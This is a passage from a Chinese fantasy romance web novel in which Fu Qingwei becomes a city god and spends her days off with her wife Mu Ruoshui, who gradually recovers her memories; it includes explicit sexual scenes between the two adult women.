由于女性城隍罕见,衣服到现在才做好,包括明制圆领宽袖官服,绯袍玉带,皂靴,这是常服,平时着装,男女皆宜。 正式官服为珠翠凤冠一顶,手艺以傅清微的眼光看,和博物馆里的差不多。 绛红色的大袖对衫,宽袖绣着日月星辰,马面裙绣如意纹,通身慈悲吉祥。 肩披云纹霞帔,腰间束珍珠玉带。 傅清微将最后的白玉笏板拿在手里,初八走马上任。 在文、武判官的带领下,二十四司司主齐聚,位列下方,躬身下拜,异口同声。 第一天上班,傅清微主要是认人,最好认的莫过于日夜游神,手持功过簿的文判官和武判官站在最前面,自然也好认。 武判官其貌不扬,但执掌三千阴兵,傅清微记了记她的脸。 傅清微挨个点名:“速报司神何在?” “属下在此。”一道女声柔美回道。 “枷锁将军、牛马将军何在?” “未将在!”四位身披铠甲的将军抱拳出列,分别报上名姓,声音洪亮。认完了人,二十四司司主散去各司其职,文武判官躬身最后退出衙门。傅清微毫无形象地往桌案上一趴,说:“好多人啊,有点恐人了。”穆若水怜惜地摸了摸她的脑袋。傅清微坐起来:“好像有人来了。” 堂前小吏来报:“灵管总局主任岁已寒前来庆贺,求见城隍大人。”傅清微淡道:“请她去后殿的会客室,本官稍后就到。” “是!” 小吏走后,傅清微哈哈笑了两声。 穆若水捏了捏年轻女人的鼻尖。 城隍庙协管阴阳两界,凡人只能在地上,不能入地府。傅清微身为城隍来去自如,顺便给穆若水开通了家属权限,让她任意穿梭阴阳。 岁已寒在城隍庙的后殿偏殿等待新任城隍接见。 殿外传来两道脚步声。 似乎并肩前行。 “岁主任,一别可好?” 听到熟悉含笑的年轻声音,岁已寒转过身来,手里的礼物落在了地上。 甘棠毕业大半年,在律师事务所实习当牛马,短短几个月已经被摧残得体无完肤。别说一月三千,两千都够呛,还要自己贴补交通费。她和傅清微吐槽,傅清微白天老是收不到她的消息,说是信号不好。甘棠:【不是姐们,你去了哪个深山老林,断网了?】傅清微晚上回复:【说出来你可能不信,我在阴间上班】甘棠:【地狱笑话了属于是】 傅清微:【:)】 甘棠也没有完全不信,毕竟傅清微是个道士,可能最近刚好处理到阴间事了。 傅清微瞒着她没有别的原因,就是因为甘棠是个见庙就拜的人,她上班的事务所好巧不巧,离城隍庙不远。她倒要看看她什么时候会发现。这天甘棠送完事务所的文件到法院,打车去地铁回,路过城隍庙。 她停下了脚步。 想想自己最近倒霉催的运气,走进了城隍庙。 城隍庙半新不旧,并没有因为新任城隍的到来而翻新,反正不影响地府办公,凑活过吧。甘棠斥巨资买了三支香,步入了正殿。 上面坐着的神像换人了,换了个女的,珠翠凤冠,一身绛红色的油漆崭新发亮,手持白玉笏板,端庄威严又不失仁慈,注视着堂前来人。甘棠瞧了瞧新城隍的脸,和她姐们有点像,尤其是眼睛和鼻梁。 甘棠没有多想,默默求城隍娘娘保佑自己发财,哦,要无副作用的。 她把香插了上去。 又虔诚拜了三拜。 空气里隐隐约约传来一声轻笑,仿佛是她的幻觉。 临走时,她回头看了好几眼新城隍,快踏出殿门时,她问门口的庙祝:“咱这换新城隍了吗?” “换了。” “新城隍叫什么?”甘棠也不知道自己为什么莫名其妙问这句话,难不成她能姓傅? 庙祝向上拱了拱手,恭敬道:“这位是新来的傅城隍。” 甘棠: ” 甘棠一个箭步冲回殿内,来来回回地端详那座神像,发出了一声不可思议,又绕梁三日的 “啊?!!” 166、后日谈 城隍上任头三个月,傅清微都在熟悉公务。 城隍不是闲职,而是实打实的地方守护神,司阴阳秩序,惩恶扬善。 鹤市近些年由于外来鬼口流入,衙门的机构也扩大到了仅次于都城隍的二十四司,放眼全国亦数一数二,傅清微一个百岁女大新官上任,可想而知有多忙。 什么下班回家吃饭?日出而作日落而息,妻妻双双把家还? 别说回去吃饭了,连家都回不了。 傅城隍和城隍夫人直接住在城隍庙后殿的起居室。 早上睁眼就是上班,在被窝多温存一段的时间都没有。 亲热频率直线下降。 部分是傅清微阴间作息太累了,穆若水不忍折腾她。另外是穆若水看她半夜加班快睡着,要是做一半没进正题,傅清微就睡过去了,有损她穆观主高傲的自尊心。 傅清微主动要,她才会给。倒是大发慈悲,没让她自己动。 她怕傅清微死她身上,累死的。 哈,开个玩笑。 人的身体不是铁打的,城隍的身体却是不死的。所以才能更好地给地府当牛马。 听说原来的城隍升到泰山府了,东岳大帝手下,人家干了一千多年。傅清微的路才刚刚开始。 穆若水想帮她分忧,但是她打小不爱读书,一见密密麻麻的字就头晕。 傅清微案上公文堆积如山,穆若水坐在她身边,打开了一封未处理的公文,从头到尾看完一遍。傅清微刚好手头松了,抓紧灌了一杯黑咖啡,问:“写的什么?”穆若水:“等会,我再看一遍。”傅清微:“你刚刚不是看了吗?”穆若水理所当然:“眼睛看了,脑子又没看。”傅清微:“…….” 傅城隍腻过来,脑袋枕在穆若水肩膀上,说:“你好可爱啊。”女人轻描淡写地回她。 “大逆不道。” “嘿嘿。” 府衙大门出现文判官的身影,傅清微连忙正襟危坐,端起空的咖啡杯。 “我再去给你泡一杯。”穆若水从她手里接过,刚好在文判官进来前去了后堂。 “谢谢老婆。” 文判官面不改色地走到桌案后,对傅清微道:“大人,半小时后有个鬼犯要提审,已经在押来的路上。这是整理的功过录、供词。” 文判官的角色就是古代师爷,城隍的左右手。 傅清微端正颔首:“本府知道了。” 半小时后。 连灌了三杯咖啡的傅清微拍下惊堂木,背后悬挂“赏善罚恶”的牌匾。 啪 “堂前所跪何人?报上名来!”“阳世所犯罪行,如实交代!”“如有半句虚言,本府将你打入十六层地狱!永不超生!” …… 审完案子,初步定了刑罚,傅清微回到后堂抱着穆若水义愤填膺地控诉:“世上怎么会有这么坏的人!简直是坏种投胎,气死我了!” 穆若水说:“那你怎么判的?” 傅清微道:“我把他打入十七层地狱,判了三百年。幸好还有城隍主持公道。” “你就是城隍。” “那幸好有我。”傅清微措娇道。 穆若水嗯了一声,笑着亲了亲她的嘴唇。 傅清微伏在她怀里和她接吻,双臂勾着女人的脖颈,穆若水刚刚上头,四处摸索,吻到她的脖子,傅清微气喘吁吁地打断,道:“我得去办公了。“ 穆若水:“…去吧。” 双手扣好她绯红官袍的玉带。傅清微留下一句承诺:“今晚一定。” 穆若水在她走后,手中变出一个笔记本,在上面画了一笔“正”字。傅清微想必不知道她欠了多少账要还,足以让她下不来床。 穆若水公事帮不上忙,尽量让她没有后顾之忧,要咖啡有咖啡,要水有水喝,还有穆若水最近钻研的点心投喂。温柔小意,判若两人。傅清微:上班也好幸福。 柔软的双手拂在她的肩膀,轻柔的按摩力度传来,傅清微舒服得闭了一下眼睛。 她手里的朱笔一垂,紧接着回过神来,连忙道:“你不用做这么多的,我不累。”“为师愿意。”傅清微回头,还要拒绝。 穆若水不容置疑:“你不让我按别的地方,我还不能摸摸解解馋。”傅清微惊慌地去找文判官的身影,还好她不在衙门。傅清微心头跟着一热,再次承诺:“今晚一定。”穆若水:“好。”本本上又添一笔。不知道城隍的身体抗不抗造? * 经历了三个月工作的上手,傅清微终于从忙碌紧张的公务里喘了口气。这日刚五点,傅清微便从公案后起身,火急火燎闯入后殿。 “下班下班!” 傅清微牵起穆若水的手往外走: “明后天也不用来了,我让她们有急事给我打电话。”终于要放假了— 傅清微来到地面,在街上看到城隍庙上方的太阳,还没有落山,浅淡的晚霞透出温柔的紫色。傅清微险些热泪盈眶,嘤嘤道:“多久没看到傍晚五点钟的太阳了。”穆若水看着前方的甜品站:“要不要吃冰激凌?” “要!” 傅清微挽着穆若水的胳膊来到甜品站排队,说:“第二支半价诶。”“我和你吃一个。”“好耶。”“你今天有点太兴奋了。”“你猜我是为了下班高兴,还是为了回家高兴?” “都高兴。” 两人口欲都不丰,但傅清微今天心情好,让穆若水吃了第一口尖尖后,自己吃了大半支,穆若水最后吃掉了甜筒的蛋卷。逛了会儿街后,两人拐入了一条无人的小巷,消失在原地。再出现已经身在蓬莱观里了。 这段时间傅清微一直在衙门加班,穆若水每天都抽空回来喂猫打扫,所以道观一切照旧。没办法,小三花离不了人。 傅清微蹲下来薅了薅小三花圆滚滚的脑袋,对穆若水说:“等她死了,我就把她的魂勾了,带在身边。”小三花:“喵喵喵?”穆若水嗯了声。 傅清微想起另一只叫闪闪的小三花,低声道:“可惜闪闪走得太早,不能永远陪着我们。” 穆若水:“一世的缘分已经够了。”“你说得对。” 傅清微手指梳了梳小三花毛茸茸的肚皮,站起来。 她只是有感而发,万一小三花和狸花女王的灵魂勾出来以后不愿意在城隍衙门待着,想要去投胎转世,傅清微也不会勉强她们。只是她司掌阴阳,终于比常人多了一条路,离别不再是永别。她们还能再见。 趁她出神的工夫,穆若水回房间拿了两身寝衣,道:“去泡温泉?”傅清微抚掌。正合她意,迫不及待。 “走走走!” 傅清微闪现到温泉旁,三下五除二褪了衣衫,浸入了热泉里。穆若水自身后抱着她,存在感鲜明地抵着她的后背,傅清微呜了一声。 在女人的双手扣紧她的腰肢,低头吻她的肩线和耳颈时,更是仰起了后颈,急切地扭头和她接吻。穆若水只有她一个女人,不知道别的人是不是也像她一样,即使处于被动,也能有主动的气势。穆若水的手臂在水里轻摆晃动,热气的氤氲看不到水中的动作。傅清微抬手用神力给温泉设置了结界,酣畅淋漓地出声。穆若水托着她在水下,双脚悬空,将她抱到池边的石椅里,跪着背对自己。她俯身贴了上去,捧着自己在她后背画圈,傅清微看不见也摸不着,只有脑子在发热。 "师尊……." 穆若水俯身下来,沉甸甸压得她更紧,绕圈打转,在她耳边低低的喘。 “若水,我想转过来。” “那你转过来。” 傅清微转过身,眼前的场景让她目光发直。 龙璇玑在清净派有一片梅林,盛放时漫山遍野,都没有她如今所见的红梅夺目。 绽放饱满,雪里梅花。 连雪都愈发剔透。 傅清微拥着她吻了上去,含吮舔吻,极尽卖力,她坐得低,刚好平齐,头也不抬。 穆若水一只手扶着,心口深深浅浅地起伏。 另一只手的五指探入她脑后的发丝里。 许久傅清微才稍解口欲的饥渴,抚着女人的肩头问道:“今日怎么如此热情?” “自然因为我也想你。” “可是师尊你的手.……”" 傅清微又又被抱了起来,侧坐在女人腿上。 “我的手怎么了?”穆若水明知故问。 她的手从水里来到了水里。 指尖撩动。 “没怎么,为师很喜欢。”傅清微长长地仰了仰雪颈,说,“继续。” 从温泉又回到道观里,这么近的距离,傅清微直接带着穆若水闪现,躺下来时身上还挂着温泉的水珠。 颈间都是热气和珠光。 穆若水一点一点舔去了那些水珠。 前半夜归她,后半夜归傅清微。 这是傅清微在开发她的过程中找到的窍门,女人慢热,唯独对傅清微的声音和反应十分有感觉,索性利用这一点作为文火的前奏,煨着煨着,穆若水就快被催熟了。 傅清微休息了片刻,无缝切换到下半场。 “若水….” “嗯……” 瞧,只是亲 亲耳朵她便忍不住瑟缩。 傅清微的手指来到她翕张的双唇,揉了几下便有湿意侵上她的指尖。指腹贴上她的唇缝来回滑动,腰肢跟着绷紧,傅清微看向女人的眼睛,穆若水把眼睛闭上了。傅清微:“你耍赖啊?”穆若水装死不答。傅清微在唇瓣继续揉动,不打一声招呼地闯了进去,指根没入她的唇中。 穆若水终于出声了。 傅清微只用了一根手指,在她张开的湿软红唇里缓慢抽.动,穆若水紧紧地咬着她,将脸扭到了一边。 耳根泛红,口里漏出些含混的低吟。 傅清微完全退了出来,整根手指湿润润的。 穆若水:……." 傅清微:“还耍不耍赖?” 穆若水:“不。” 傅清微吻了吻她,说:“让我看着你,好吗宝贝?” 穆若水慢慢煽动了一下眼睫。 “…嗯。” 穆若水重新牵住了她的手腕。 傅清微和她热情地吻在一起。 …… 日上三竿。 傅清微骤然醒转,人在床上,魂在天上。 她睁眼的第一句话就是突兀的高音,此后再未有“啊”以外的音节。昨夜她做得太过分了,穆若水多多少少有加倍回敬她的心思,这一躺,又到了下午。云收雨歇。傅清微一滴雨也没有了。她趴在床上,身上盖着一层开春的薄被,大半个后背露在外面,使坏的人还在不断制造新的痕迹。 最后在傅清微肩头落下一个牙印,穆若水终于住了口。傅清微沙哑道:“我想喝水。”她可以变,但她就是想穆若水端过来喂她。 清润的凉水入喉,杯子御空回到书桌,傅清微被妻子伺候着穿戴整齐,抱到院子里晒夕阳。傅清微有件事一直没有问穆若水。从前的记忆她到底恢复了多少? 穆若水到现在还没和姬湛雪完全自洽,一会“她”一会“我”,她性情如此,傅清微心知肚明,没有追问过。 二来她没想到工作这么忙,原有的计划也搁置下来。 是时候提上日程了。 傅清微:“鹤市的提督街有个鬼市,你知道吗?”穆若水果然露出茫然的眼神。 傅清微:“鬼市三月一开,今天正好是开门的日子,我们去逛逛?”穆若水:“可。”想找回记忆,最好的办法自然是故地重游。 鬼市承载了她们太多的过往,除了蓬莱观,就是次次不落的鬼市。 “你无需勉强。” “不勉强。” 下山前,傅清微特意换了身从前的青袍,戴上柳木面具,红线系在脑后,耳根雪腻。面具只剩一个了,穆若水和往常一样戴着黑色口罩,鬼市遮脸全凭自愿,倒也没有不戴面具不让进的说法。当地的鬼市亦在城隍治下,傅清微官身微服私访,哪个人敢惹城隍,她可以护住穆若水。夜晚,两人来到提督街,原先的鬼市入口变成了一条商业街上的古风剧本杀店。 两人进了结界里。 人间日新月异,鬼市千年来没有太大的变化,傅清微甚至见到了几位眼熟的摊主。三才舫的豪华画舫仍然停在忘川里,大旗招展。 二人一路走一路看,一位茶摊难主抬起头,随口打招呼道:“你们师徒俩又回来啦。” 傅清微含笑道:“是,回来了。” “去哪儿了?”摊主闲着寒暄。 “出了趟远门。” “怎么样啊?” “挺好的。” 傅清微和对方一问一答。 穆若水站在鬼市之中,耳边似乎传来一阵哄然叫好。 隔了经年的时光,她仿佛看到两道身影并肩走过鬼市,一个人追着另一个人,一把将她抱了个满怀。穆若水:“姐姐?” 167、后日谈 嘘。 姐姐,你看她长了…. 穿着道袍的年轻女人蹲下来轻轻捂住了女孩的嘴,两人一蹲一站,低声交谈着什么。 穆若水朝她们的脸望过去,大人戴着悟空面具,小孩戴着八戒面具。 穆若水视线落得远一些,定格在另一处摊位的位置。 ——老板,这个怎么卖? ———块银元!你怎么不去抢?! ——你是喜欢看我和人吵架吧? —我会好好珍惜姐姐的吵架。 ——应该叫师尊。 师尊……姐姐。 八戒面具的小孩将《白蛇传》连环画宝贵地收进怀里,被悟空面具的女人牵着手,走向了忘川河边的摆渡船,上了船只,背影前往三才舫。 那个卖连环画的摊位已经不在了,取而代之的是卖阵法材料的人修。傅清微和茶摊老板的寒暄到了尾声,她脑袋时时刻刻分出一根弦注意着穆若水的变化。幸好她只戴口罩,傅清微能注意到她的眼神。她盯着好几处出神,明显是回忆起什么的样子。至于那声无意识的“姐姐”,傅清微听见了,一点不!敢!应!万一师尊徒儿恼羞成怒!明天她还放假呢,今晚她不想被做死在床上。 城隍的身体也扛不住一到再到。 两人在路边茶摊喝了碗茶,瞧了瞧鬼市众生百态,傅清微提议道:“要不要去三才舫?” 穆若水:“你有东西卖吗?” 傅清微:“没有,本城…本顾问下基层视察天机阁工作,有何不可?” 穆若水轻笑:“大尾巴狼。” 傅清微回敬:“大逆不道。” 穆若水没有反驳,将腰间的玉佩解下来给她,说:“走吧,大狼。” 两人搭上了摆渡船,傅清微袖袍吹拂,站在船尾,对穆若水说:“和真正的忘川相比,还是差点意思,河不够宽。” 穆若水附议。 想当年她们第一次进来还惊叹呢,见识短了。 三才舫的管事已换了几茬,奈何傅清微的外表实在太吸睛,青袍傩面不稀奇,玉佩稍引注目,加上她一头及腰的白发,年轻人的身形,一看就是不出世的高人。 傅、穆二人刚上船,便被一个管事模样的人请进了WVIP贵宾室。 管事躬身便拜:“城隍大人大驾光临,有失远迎。” 傅清微:“……. 瞎,原来是天机阁这些人精把她认出来了。 从鬼市回到蓬莱观已是深夜,没时间去泡温泉了,法术除了个尘,准备睡觉。 穆若水从床底下把自己的铁盒子翻出来,小木剑、连环画、剪纸和电影杂志,傅清微就在旁边瞅着她一样一样地看。穆若水看完了收好,未置一词,搂过傅清微的腰倒下来,说:“睡觉。”房间的灯啪嗒灭了。 傅清微被她三两下熟练送到高峰,穆若水把手指抵进她嘴里,傅清微乖乖地含了,从指根开始舔干净。 过后,她喘匀了气,窝在她怀里趁机问道:“你想起了多少?” “一些。” “具体的呢?” “就那一些。” …" 傅清微就知道! 死小孩烂性格从四岁就定型了,再长大也改变不了。 白给她舔手指了! 穆若水说完话,两根手指又欺了进来,夹着她的舌尖拨弄,说:“再舔舔,你弄得我好舒服。”傅清微咬牙:“我也有别的办法让你舒服。”穆若水无辜眨眼:“可我还没热起来,你会很困难,今晚不想睡了?”傅清微是想睡的。重振师纲什么的,下次吧。 傅清微温热口腔裹了裹她的指节,张嘴含糊道:“就一次,弄完我要睡了。” 穆若水被她吸得尾音嗯——了一声,道:“我保证。” 傅清微唇舌取悦着她的手指。 对她来说是一件熟悉又陌生的事,陌生在已是许久以前,那时她们还不是道侣。借着师徒的名义亲密,在越界的边缘来回横跳。 随着感情的加深,穆若水的感觉也越来越强烈。 傅清微竟然听到她在克制不住的喘,眼尾泛红。 她取悦她关键的地方她都没这么快有反应,难道师尊真是天选之1? 傅清微的手空着,趁她不备素手侵入她的唇瓣,指端染上湿润晶莹。 “…” 无论如何,她又找到一个怎么让师尊当0的窍门了。 甚至,她可以一边0一边1。 女人,妙不可言。 特指她的妻子穆若水。 又一次被她伺候登上极致,傅清微坚定了这个想法。 她要和穆若水在一起一万年,万万年。 * 傅清微的工作踏上正轨,正常放假。一个月后,傅城隍调休了四天假期,和城隍夫人坐上高铁出远门旅行。 她对穆若水的说辞是这样,其实此行还有另一个目的。菌菇火锅店。 桌上摆着计时器,锅里的野生菌在咕嘟,筷子是没有的。好不容易到了时间,店家采样后,傅清微接过筷子,看着对面的穆若水先动筷子。 两人都不用进食,但食、色人之本性,傅清微当城隍以后,幸福安定,反而渐渐地找回些口腹之欲,当体验生活。穆若水对食物才是真的没有欲望,但是意外地多吃了一些。傅清微:“你以前很喜欢吃菌子的。”穆若水:“我知道。” 家乡的味道总是不一样的,她如今非人,亦不能免俗。傅清微:“我们走的时候买点带回去吧,我……你炒给自己吃。”穆若水忍俊不禁。傅清微:“如果你愿意吃我炒的话.….”穆若水打断:“大可不必。”傅清微嘟嘟囔囔,腮帮子一鼓一鼓,煞是可爱。不说的话,谁能看得出她是百岁女大?穆若水伸手捏了捏她满脸胶原蛋白的脸蛋。傅清微的手机震了一下。穆若水坐在对面发来:【好喜欢你啊[脸红jpgl】傅清微再看面前穆若水平静无波的脸,心想:人怎么能反差成这个样子呢? 今晚我要做1。 把她操得喵喵叫,在床上亲口说喜欢为止。 两人在市区待了一天,由于第二天要早起,只有傅清微含泪喵喵叫了一个小时。 穆若水站在山下,已经猜到她们俩要去哪。 西南山高谷深,二人来的并不是热门景点,人迹罕见,一路御空上山,将近一日的路程缩短到两个小时,包含她们看风景的时间。 傅清微带着穆若水停在一个没有人烟的村落,几座石头垒筑的房子保存完好,依布村其他的村民已经搬走了。 村长家在村头,巫祝家靠近村尾。 傅清微去祭拜了巫祝,回到村头的房子里找到了穆若水。 穆若水环视四壁,道:“可惜什么都没有了。” 傅清微清了清嗓子。 “其实我中途回来过。” 在思念如同毒蛇的漫长年月里,傅清微曾经回过依布村。 “不是什么都没有,我收起来了。” 傅清微带她到了院子里,一个小型结界被她解开,地上的泥土几十年过去,已看不出掩埋的痕迹。傅清微从地里挖出了一个实木箱子,挺大一个。 穆若水在女人的示意下把箱子打开,她见到了很多小衣服,麻布长袍,漂亮又厚实的兽皮披风,羊毛圆顶毡帽,小孩背的弓箭。当初她们流亡时担心被勒索和劫道,无奈舍下在家中的,被后来的傅清微妥帖收了起来,埋进了地里。也许,她想着将来有一天,她们还能再回来。 万一呢? 于是一切成真了。 穆若水已穿不下那些衣服,但她每一件都拿起来看了。底下有一些叠好的成人衣物,女款的,猎人装束居多,也有居家的长袍。 傅清微:“是你阿娘的衣服。” 穆若水念着陌生的称呼:“阿娘?” 傅清微擦掉她滑落到下巴的眼泪。 “阿娘要是知道你回来见她,一定会很高兴。” 她们在村子里巫祝的房子住了两天,在山里打猎,下水摸鱼,第三天把那些旧物带下了山,买了个大行李箱装回了家。穆若水空白的过去,傅清微在一点一点帮她填补。回到鹤市,因为休假,傅清微天昏地暗地加了一阵班,解决案头堆积的工作。 她该招个文书了。 她心中已有人选,对方想必也愿意。 此处暂且不表。 继续说回穆若水的记忆。 这一日。 穆若水兴致勃勃握着小木剑在屋子里挥了几下,听见屋外的脚步声,迅速放回木剑,铁盒塞进床底下一气呵成。傅清微进门时,她正端坐在书桌后执卷看书。傅清微:“……师尊,我有事找你。”穆若水装模作样地点头:“来了。” 傅清微带她来到道观外的一处树林,解开了一道更隐蔽的结界,往穆若水手里递了第二把铁锹,说:“挖吧。” “地底有东西?” “对,我埋的。” 穆若水槽道:“你是地鼠吗?到处打洞。” 傅清微:“哈哈哈。” 嘴里很嫌弃,行动却很诚实地挖起来,没有用法术,两人一锹一锹下去,穆若水的铁锹碰到了硬硬的东西。两人沿着边缘的土挖开,里面是一个稍小的木箱子。穆若水不等傅清微示意,自己就打开了。 傅清微初学画技,给姬湛雪画了很多幅画,从她的孩提时期,到青葱少女,长大到二十岁,点点滴滴都记录在画中,那些画后世并没有找到。不是付之一炬,是傅清微藏起来了。 以她布的结界,2029年的傅清微察觉不到,穆若水再给她一千年她也发现不了。它们就静静地深埋在地底,直到有朝一日傅清微亲自将它挖开,重见天光。 “这是……. 穆若水的手捧起一幅相框。 极具年代感的照片里,两个身穿道袍的女人并肩看向镜头。外表二十七八的女人眉目雅致,五官清丽的年轻女人站在她身边。笑得很灿烂,很灿烂。照片右下角印着时间:1935/6/29。 那个女人的样貌比现在的傅清微成熟一些,穆若水指尖颤抖地隔着冰凉相框摸上成熟的傅清微的脸。原来她真的一直陪着她,从过去到现在。无论是姬湛雪,还是穆若水。傅清微说:“这是我们拍的第一张合照。” 虽然老照片因为长时间保存模糊泛黄,但是现代科技先进,五官没有污损,可以高清修……穆若水突然抱住了她。 傅清微猝不及防后退坐倒在地上,就这样穆若水也要抱她,整个人压在她身上。傅清微指尖梳理着她后背的长发,喉咙哽了哽,尾音轻颤地吐出那个名字:“小雪?”穆若水在她肩窝里低低应了一声。当然,仅此一次。 她俩抱着小箱子回到蓬莱观后,穆若水就不认账了。傅清微意料之中。她就算心里接受了,嘴上也不肯松口。死小孩性格是这样的啦,她早就习惯了。 傅清微接了文判官的电话去院子里,穆若水在书桌前翻看那些画,初时傅清微画得一般,不出两年便有长进,寥寥几笔勾勒出神韵。画得好与不好并不是最重要的,而是从她的孩提时光起,到她长成大人,将近二十年里,傅清微一直在给她画画。她以为师尊在她二十岁后,只画她的亡妻穆若水呢,没想到还有在画她。即便不是爱,她和穆若水在她心目中同样重要。等等,穆若水按上自己的眉心,她在想什么?我不就是“亡妻”穆若水? 总之,傅清微深埋的这些画和照片出土,她们之间缺失的每一环,至此都填满了。 穆若水和姬湛雪彻底成为了一个人。 虽然她自己还在消化中。 晚上泡温泉。 穆若水心事重重。 傅清微撩了一捧水浇到穆若水肩膀上,问:“你在想什么?” 穆若水:“没什么。” 傅清微知道她今天受到的冲击有点大,观察她的神色,看她是更穆若水一点,还是姬湛雪多一点。 看不出来。 装高深穆若水是有一手的。 要说穆若水和姬湛雪之间的区别,在她们融合以后,傅清微也想不出来,非要说的话,姬湛雪更听话一些? 并不是。 姬湛雪就是还没有长成的穆若水,给她点时间,她也只会长成穆若水这样。 当晚二人没在温泉发生,而是回到了观内,穆若水熟门熟路地将她按在门边,喜欢从耳朵一路吻到肩头。 傅清微的衣袍挂在身上,衣袖滑到肘弯,小臂被女人握在掌中,深深浅浅地亲着。 “姐姐……” 傅清微正享受她落在自己颈间的吻,脑子里忽然嗡的一声。穆若水含着她的耳垂又唤了一声:“姐姐。”傅清微双膝并拢,站不稳地往下滑,穆若水一把兜住她的腰,无辜道:“清微,你怎么了?” 傅清微:"……." 那她刚才听到的是什么! 小师尊和大师尊一样恶劣啊! 她俩合体了!这下完啦! 傅清微强撑道:“没怎么。” 再怎么变都是一个人,不会变成两个人同时侵犯她,她受得住。 穆若水舌尖在她耳廓滑动,钻入耳谷,黏腻的声音在她耳边:“你好可爱。” 师尊。 穆若水把心里的称呼咽了回去。 傅清微:“要不今晚让我来吧?” 她开始打退堂鼓了,她再缓几天,她有点害怕一会的不受控。 穆若水说:“不。” 下一秒傅清微身体悬空,被穆若水打横抱了起来,大步走向床边。 傅清微被温柔地放了下来,心惊胆战地看着上方的妻子。穆若水好笑道:“你怕我?”傅清微:“我怕待会床不能要了。”穆若水:“很有自知之明,不过没关系,我喜欢你这样。”傅清微:“呜呜呜。”她不想堂堂百岁女大还这么丢人地尿床。穆若水擦掉她的眼泪,柔声道:“怎么这么快就哭上了,留着水待会哭。” 傅清微:“嘤嘤嘤。” 穆若水吻去了眼角的泪珠,说:“乖,我会让你尽兴的。” 傅清微的身体和她抱在了一起,穆若水用唇舌引动潮汐,双手制造出拍打岸边的浪潮。傅清微轻易地沉溺进去,手指与双唇接吻的水声激烈靡靡。傅清微脸偏向一边,被穆若水伸手扶正,失焦的眼珠望着她,张口急喘。穆若水忽然早有预谋地凑到她耳边。“师尊,我做得好吗?”她的手指骤然被死死地咬紧。 傅清微心口的起伏几乎到了极限,她剧烈地喘着气,带给穆若水的感受也愈发地清晰,一波一波地挤压着她的指节,似乎要将她推出去。穆若水抵着她的软唇不放,愈发往里进。“师尊,你怎么了?” “住口。你……”傅清微眼角沁出两颗泪珠,轻骂道,“混账。” 168、一颗糖果 这天晚上傅清微并没有被折腾太久,可感觉剧烈得比以往的一夜更可怕。她意识沉在深空中,几乎感受不到自己,唯有无尽的暴雪朝她涌来。她被高高抛起坠落,跌进女人盈满返魂香的怀抱之中。 女人温暖的双臂拥着她,却是牵引潮汐的始作俑者,一波一波冲击她脆弱敏感的神经。“小雪,不要……“叫师尊。”"师尊,别,我不……唔!"“你想要师尊还是小雪?”女人左手的食中二指挤进她唯一空着的这张嘴里,来回拨弄她柔软的舌头。 傅清微双唇被堵得密不透风。 她只想死。 于是她终于睡了过去。 昏睡前穆若水已带着她在床榻换了三个地方,最后实在不好躺,是将她抱着的。法术除尘固然方便,却不够清爽。傅清微不仅尿床,还弄到她身上都是。穆若水抱她下地,进了淋浴间。温热的水流淌过全身肌肤时,傅清微醒了,城隍的身体比人类的身体终究强了不少,但她不敢醒! 她的腰肢被穆若水环住,下巴抵着女人的肩头装睡,连屏气的能力都用上了。 穆若水:“……. 谁装睡会和死了一样。 以她看,傅清微多半还想在浴室里做。 穆若水环视四壁,空间比较小,发挥不开,但只要傅清微不扭动得像条濒死的鱼,扑腾出玻璃隔间外,是可行的。 “清微,你要不要…….” “我不要。” “那下次吧,想要叫我。” “刚刚叫你停你怎么不应?” “我错了。” 傅清微一怔,拉开距离抬起脸看她:师尊怎么转性了? 穆若水笑盈盈:“下次还敢。” “…” 傅清微问:“你现在是小雪多一点还是穆若水多一点?” 穆若水答:“你叫她叫小雪,叫我就连名带姓?” 傅清微懂了。 大别扭战胜了小别扭,小雪所有的力气和手段只用在床上,下了床大师尊翻脸不认账。 她才不要给傅清微当徒儿! 傅清微忧心忡忡:这样下去,自己的师纲真的能重振吗? 她现在跟被师尊和徒儿两面夹击有什么区别?! 她这辈子还能有机会品尝原汁原味的小雪吗?除非穆若水当场失忆,记忆停留在小雪阶段。 嗯…… 傅清微忽然有了一个不切实际的想法。 好困。 事已至此,先睡觉吧,明天还要上班。 穆若水给她淋浴过后,自己草草冲了一遍水,在腰腹多洗了洗,直到指尖察觉不到异样的滑腻。 穆若水大浴巾裹住站在玻璃间门口的傅清微,傅清微被她抱回床上时,一只手还捧着她吸吮吻弄。 “不晕了?” “睡前一杯奶,有助于睡眠。” " 穆若水给她盖上被子,浴巾抽出来,自己钻进去从后面抱住年轻女人睡觉,阖上眼帘。“明天换套四件套吧。”虽然可以用法术变干,但心理过不了这关。“嗯。睡吧,晚安。”穆若水亲了亲她的脸。“晚安老婆。”傅清微转过来,亲在女人唇上。穆若水比她更快入眠,沉沉睡了过去。傅清微抬起指尖摸了摸女人的眉眼,才在她怀里找了个舒适的姿势睡着了。 疏朗风清,半开的木窗送进来几缕早晨山林的风。 傅清微在穿衣服,穆若水弯腰在床边铺新的四件套,家务没有规定谁做,采取责任制。昨晚把床祸害成这样,穆若水是罪魁祸首。 什么好什么多的小猫咪有什么错呢? 上班! 两人出现在城隍庙附近的巷子里,傅清微去了地府,穆若水则来到了地面的城隍庙,迈入朱漆正门。 上午八点多,城隍庙里已有不少本地人在上香。 与之前不可同日而语,如今的城隍庙可谓香火鼎盛。 事情还要从一年前傅清微接任城隍说起。 城隍这位神仙,虽司阴阳秩序,但不显山不露水,默默护卫太平,现在已少为人知。拜年轻人四处求神拜佛的风气影响,奄奄一息的城皇庙勉强踏进了半死不活的新阶段。 虽然信众少,可进了门上了香就是傅城隍罩着的。 人不多,傅清微每天都会听大家在求什么,查一查功过簿,好人添好运,坏人.……待会再表。 起初有人在网络发帖: 【朱雀街那座城隍庙有人去拜过吗?我拜完刮刮乐中了一千!就在城隍庙对面的店刮到的!】 【真的假的?我就住附近,我也去拜拜】 【蹲】【前排放个屁股】 【大家好,我拜完回来了,中了三百啊啊啊!!![附照片]】【楼主和层主该不会是演的吧,好骗我们去城隍庙烧香】 【你要不要听听看你在讲什么,谁会营销城隍庙?那庙都破了,咱本地人的城隍神,你爱去不去,反正以后我有空就去拜城隍娘娘,给她早塑金身】【歪个楼,城隍娘娘长得挺漂亮的】 【我问了庙祝,城隍姓傅,是民国时代的一位道长,巨有名,救了鹤市很多百姓】【这周未就去!】 一位ID为“糖苷”的网友激情发言:【我用性命担保,傅城隍人很好,真的能听到人的愿望!】 